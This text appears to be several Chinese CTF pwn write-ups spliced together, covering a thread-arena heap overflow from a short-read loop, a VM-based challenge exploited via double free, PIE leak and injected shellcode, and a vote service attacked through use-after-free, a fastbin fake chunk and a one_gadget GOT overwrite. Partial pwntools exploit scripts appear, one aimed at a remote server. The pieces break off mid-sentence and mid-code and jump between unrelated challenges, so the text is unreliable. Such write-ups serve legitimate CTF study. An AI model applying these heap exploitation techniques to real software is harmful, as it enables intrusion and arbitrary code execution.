代码少不一定是好事,代码多也不一定是坏事。
这道题目的代码可以说是十分简单了,主要就是新开了一条线程,然后在线程里面可以进行批量的malloc操作。
然而malloc
操作是的分配空间大小是严格限制好的,除此之外也实在没看出别的问题。
开始寻思着是整形溢出,继而导致缓存区溢出,然而并没有,严格的条件判断致使程序根本没有整形溢出的机会。
看了Write up之后才发现,漏洞真的是就在自己眼皮底下,还不止一次反复怀疑过的,可惜就是没有察觉到。
for ( i = 0LL; ; i += v3 )
{
result = i;
if ( i >= size )
break;
v3 = read(0, (void *)(heap_ptr + i), size);
if ( v3 <= 0 )
{
write(1, "I/O error\n", 0xAuLL);
sub_400AD6(1u);
}
}
这段代码是程序malloc
之后唯一往新空间写入内容的地方,如果用户输入和size
长度匹配的内容,自然是一点问题都没有。但是如果用户输入小于给定size
长度的内容,因为read
函数返回值是实际读入的字节数,因此可能造成v3 < size
的情况。还是举例来说,size=0x400, 用户输入0x3ff个字节,然后v3=0x3ff,此时程序进入下一个循环。
在下一个循环当中,read
的调用情况就变成了read(0, heap_ptr + 0x3ff, 0x400)
,因此可以溢出到预期空间之外的内存。
至于malloc
出来空间的位置,简单用上图来说明一下,新线程里面分配的空间并不是分配到heap里面的,而是通过mmap的机制来分配新的内存块。分配的时候首先会消耗掉图中白框部分空闲的内存,当这部分可用的内存都分配完了,程序就会往上找新的空间,比如说2号标记
所示的内存。然后1号标记
的位置是该线程中的main_arena
所在的位置。
上图是main_arena
的数据结构,对heap攻击利用有一定了解的同学都应该知道,main_arena
里面保存了很多malloc
有关的数
漏洞是在输入密码那里有个buffer overflow,长度够长能够一直覆盖掉下面的一些vm里面执行的代码。get_pass里头有个函数,是读取bss上的部分伪代码,根据伪代码来进行一些写入操作。我们姑且把这个函数叫做vm。
难点一在于逆向vm函数,弄懂其中的逻辑。行为表如下。
heap1 = 0x57010
heap2 = 0x57030
case: '1' : --*heap2;
case: 'L' : ++*heap2;
case: 'N' : *heap2 = *heap1
case: 'a' : --*heap1;
case: 'h' : ++input
case: 'm' : ++*input
case: 'o' : --input
case: 'r' : ++*heap1
case: 'u' : --*input
case: [] : input ? execute: skip
case: {} : heap2 ? execute: skip
还有一个地方卡了很久,因为开了PIE,一直找不到地址的泄露。后来发现remove那里也是有double free,heap上面有一个chunk是保存了可执行代码段的地址的。只要
remove(0);remove(2);remove(0)
就能够泄露出可执行段的地址,然后通过logout进入vm函数,overflow改掉vm操作的基地址,接下来就可以通过伪代码去网可执行段里面写shellcode了。
因为长度限制,这里分开了两次操作把shellcode写入段中,最后通过buy操作即可触发shellcode。
from pwn import *
LSHIFT = 'o' # --i
RSHIFT = 'h' # ++i
INC = 'm' # ++ (*i)
DEC = 'u' # -- (*i)
context.arch='amd64'
password = '\x86\x13\x81\tb\xffD\xd3?\xcd\x19\xb0\xfb\x88\xfd\xae \xdf' + '\x00'*85
context.log_level = 'debug'
# p = process('./beep
struct user
{
__int64 count;
__int64 time;
__int64 name;
};
漏洞出在cancel函数里面,如果create一个用户后没有投票操作的话,cancel函数free这个指针并不会把指针清零,可以造成一个double free或者是uaf。
malloc一个unsortedbin大小的chunk然后free掉,通过show函数就能泄露一个libc地址。
按照常规的思路做fast bin attack的话会行不通,因为返回来的地址prev位对应结构中的count参数,这个位置我们是没办法直接改写达到返回任意地址的目的的。
然后想到了uaf的做法,既然我们不能直接写,那么可以用vote函数把prev位的地址给加上去。在heap中伪造一个fake chunk,保证这个chunk是free的状态并且能够通过malloc的检查,然后还要把prev位设置成为最终想要返回的地址。
那么我们再malloc两次就能得到想要的地址了,这里当然是写got表,问题是用0x7f的大小试了很久都绕不过,gaintbranch提醒说got表上的0x7f会有干扰的,libc上的就能成功返回。后来又用0x60的大小去试,got表上仅存能够利用的0x60位置都不能用。
后来只好翻到got最前面0x601ffa那边去了,用onegadget一个一个尝试那个got位置可以成功调用,最后好像是在pthread_create那里成功了。
再vote一次即可触发。
from pwn import *
import time
env = {'LD_PRELOAD': './libc-2.23.so'}
# p = process('./vote', env=env)
p = remote('47.97.190.1', 6000)
libc = ELF('./libc-2.23.so')
context.log_level = 'debug'
def create(size, name):
p.sendlineafter('Action: ', '0')
p.sendlineafter(': ', str(s